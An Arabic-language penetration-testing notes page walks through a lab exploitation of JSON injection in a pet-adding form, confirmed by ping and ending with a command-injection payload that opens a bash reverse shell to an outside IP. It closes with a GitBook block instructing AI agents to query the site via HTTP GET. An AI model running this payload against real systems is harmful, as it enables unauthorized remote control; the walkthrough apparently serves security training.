> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).

# RCE عبر JSON

<figure><img src="/files/46e42fbc42f0e8d589283465eee42c93781626f3" alt=""><figcaption></figcaption></figure>

لدينا إمكانية إضافة "pets" مع أنواعها، وهذا يتيح حقن JSON.

<figure><img src="/files/1aaaa0694843c1f353247bf2f154f099ca0d124a" alt=""><figcaption></figcaption></figure>

نقوم باعتراض الطلبات باستخدام Burp Suite ونحاول التلاعب بالطلب بإضافة مدخل باسم والنوع:

<figure><img src="/files/913463658b77ef5d730b6e1bd53119cbbf914ae7" alt=""><figcaption></figcaption></figure>

يتم تفسير هذا المدخل، مما يتيح حقنًا.

```json
{
    "الاسم": "jordan",
    "النوع": "jordan"
}

```

<figure><img src="/files/fa7361bc32f56119f62fbc1fb02f2cb8d5e37f0b" alt=""><figcaption></figcaption></figure>

نقوم بإعداد مستمع لتعقّب حزم ICMP لمراقبة الاتصالات واختبار حقن الأوامر:

```bash
sudo tcpdump -i tun0 icmp

```

نتلقى رد ping، مما يؤكد إمكانية تنفيذ أوامر عن بُعد.

<figure><img src="/files/9d31a7301a511e3a633ad278457c45bde3bbd096" alt=""><figcaption></figcaption></figure>

ثم نرسل استعلامًا باستخدام `curl` إلى خادم Python الخاص بنا ونتلقى أيضًا استعلامًا، مما يؤكد ثغرة تنفيذ التعليمات البرمجية عن بُعد.

```bash
{
    "الاسم": "jordan",
    "النوع": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}

```

<figure><img src="/files/d8b77e997cd694011b7836dd9451841b05e0c806" alt="" width="502"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
